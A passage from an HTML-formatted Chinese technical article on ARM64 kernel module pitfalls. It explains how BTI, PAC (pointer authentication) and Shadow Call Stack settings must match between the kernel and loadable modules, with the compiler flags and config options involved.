WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">于是产生 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Target Branch Exception</span></code><span leaf="">，最终导致 kernel panic。</span></p><p data-line="899" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">必须告诉编译器生成 BTI 兼容代码：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="901" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">clang -mbranch-protection=standard -c test.c -o test.o</span></code></pre><p data-line="905" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">-mbranch-protection=standard</span></code><span leaf=""> 会在每个可被间接调用的函数开头生成：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="907" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">bti c</span></code></pre><p data-line="911" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">同时它还会启用 PAC，也就是下一个坑的主角。</span></p><p data-line="913" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">坑 17：PAC —— 返回地址的签名校验</span></p><p data-line="915" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">PAC 全称为 Pointer Authentication。</span></p><p data-line="917" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">BTI 修复后，设备依然在加载模块时重启。</span></p><p data-line="919" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这次崩溃点发生在函数返回时，而非入口。</span></p><p data-line="921" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">ARMv8.3 引入了 PAC，用于保护函数返回地址的完整性。</span></p><p data-line="923" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">在函数入口，用栈指针 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">SP</span></code><span leaf=""> 作为 modifier 对返回地址 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">LR</span></code><span leaf=""> 进行签名：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="925" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">paciasp</span></code></pre><p data-line="929" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">在函数出口，再用：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="931" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">autiasp</span></code></pre><p data-line="935" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">验证签名。</span></p><p data-line="937" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">若签名不通过，则触发 Authentication Fault，直接终止执行。</span></p><p data-line="939" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">内核开启：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="941" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">CONFIG_ARM64_PTR_AUTH_KERNEL=y</span></code></pre><p data-line="945" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">后，所有内核代码都使用 PAC。</span></p><p data-line="947" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">模块代码如果不同步启用 PAC，就会出现这样的场景：</span></p><ol style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><p><span leaf="">内核代码调用模块函数，返回时 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">LR</span></code><span leaf=""> 已被内核签名。</span></p></li><li><p><span leaf="">模块函数内 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">ret</span></code><span leaf=""> 时若没有 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">autiasp</span></code><span leaf="">，CPU 直接放行返回地址，但内核调用者期望 PAC 状态一致。</span></p></li><li><p><span leaf="">更深层的问题：模块若通过内核 CFI 路径被间接调用，而模块未签名或未验证，会导致 PAC 上下文紊乱，最终在某次返回时触发 Authentication Fault。</span></p></li></ol><p data-line="953" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">关键约束是：模块与内核的 PAC 密钥必须一致。</span></p><p data-line="955" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这个一致性通过都使用同一编译选项生成相同的指令序列来保证。</span></p><p data-line="957" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">与 BTI 完全相同：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="959" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">clang -mbranch-protection=standard -c test.c -o test.o</span></code></pre><p data-line="963" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">-mbranch-protection=standard</span></code><span leaf=""> 同时生成 BTI 和 PAC 指令，一根编译选项解决两者。</span></p><p data-line="965" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">坑 18：SCS —— 已悄悄绕过的幸运坑</span></p><p data-line="967" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">SCS 全称为 Shadow Call Stack。</span></p><p data-line="969" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">当开启：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="971" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">CONFIG_SHADOW_CALL_STACK=y</span></code></pre><p data-line="975" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">内核会启用影子调用栈。</span></p><p data-line="977" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">SCS 使用 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">x18</span></code><span leaf=""> 寄存器保存一个独立于正常栈的返回地址链。</span></p><p data-line="979" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">在静态 SCS 实现下，也就是：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="981" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">CONFIG_DYNAMIC_SCS 未设置</span></code></pre><p data-line="985" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">所有内核代码都必须遵守 SCS 规约，即不能随意使用 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">x18</span></code><span leaf=""> 寄存器。</span></p><p data-line="987" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">任何对 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">x18</span></code><span leaf=""> 的写操作都会破坏影子调用栈，导致诡异的返回地址错误。</span></p><p data-line="989" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">由于 KPM 编译时使用了与内核兼容的 Clang，并传递了：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 